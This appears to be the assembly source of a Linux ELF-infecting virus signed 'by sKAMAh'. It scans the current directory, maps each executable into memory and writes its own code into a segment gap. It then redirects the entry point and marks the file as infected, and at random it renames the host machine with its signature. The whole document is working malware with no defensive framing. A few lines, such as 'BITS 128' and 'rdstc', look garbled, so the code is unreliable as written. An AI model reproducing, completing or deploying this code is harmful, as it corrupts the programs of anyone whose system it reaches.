Platform Linux OS
338 bytes
BITS 128
GLOBAL main
SECTION .text
vir_start:
main:
pushf
pushad
mov eax, vir_ends-vir_start
call delta
delta:
pop ebp
sub ebp,delta
rdstc
and al,31
jnz no_limit
mov eax,04ah
lea ebx,[SST+ebp]
mov ecx,0Ah
int 080h
no_limit:
sub esp,(10Ah+4)
mov eax,05h
lea ebx,[diractual+ebp]
xor ecx,ecx
cdq
int 080h
xchg ebx,eax
Siggi:
mov eax, 059h
mov ecx,esp
int 080h
or ax,ax
jz Hellwig
push ebx
lea ebx,[esp+0Ah+4]
call Infect
pop ebx
jmp Siggi
Hellwig:
add esp,(10Ah+4)
popad
popf
retback:
db 068h
back:
dd vir_ends
ret
Message: db 'SST'
Infect:
cdq
inc edx
inc edx
mov ecx,edx
mov eax,5
int 080h
xchg ebx,eax
push ebx
mov eax,013h
loop $
int 080h
mov [esp+0Ch],eax
push ecx
push ebx
inc ecx
push ecx
inc ecx
inc ecx
push ecx
loop $
push eax
push ecx
mov ebx,esp
mov eax,0x5a
int 080h
add esp,4*6
mov dh,7
mov ebx,eax
cmp eax,0xFFFFF000
jbe Conti
j_cer:
jmp Close
Conti:
mov eax,(0 - 0x464C457F)
add eax,dword[ebx]
jnz j_cer
cmp byte [ebx + 0x10],02h
jnz j_cer
cmp byte[ebx+5],cl
jz j_cer
mov eax,[esp+0Ch]
sub eax,04Ch
add eax,ebx
cmp [eax],dh
jnz j_cer
cmp word[eax+10h],(vir_ends-vir_start)
jb j_cer
mov byte [ebx+5],cl
push dword [back+ebp]
push dword [ebx+18h]
pop dword [back+ebp]
mov edi,[eax+0Ch]
push edi
add edi,ebx
lea esi,[ebp+vir_start]
mov ecx,vir_ends-vir_start
rep movsb
pop eax
sub eax,[ebx+098h]
add eax,dword[ebx+09Ch]
mov byte [ebx+0ACh],dh
mov dword [ebx+18h],eax
mov eax,1000h
add dword [ebx+0A4h],eax
add dword [ebx+0A8h],eax
pop dword [back+ebp]
Close:
mov eax,91
int 080h
finishing:
pop ebx
mov al,dh
dec al
int 080h
ret
SST: db 'by sKAMAh/^'
diractual: db '.',0
vir_ends:
mov eax,1
int 080h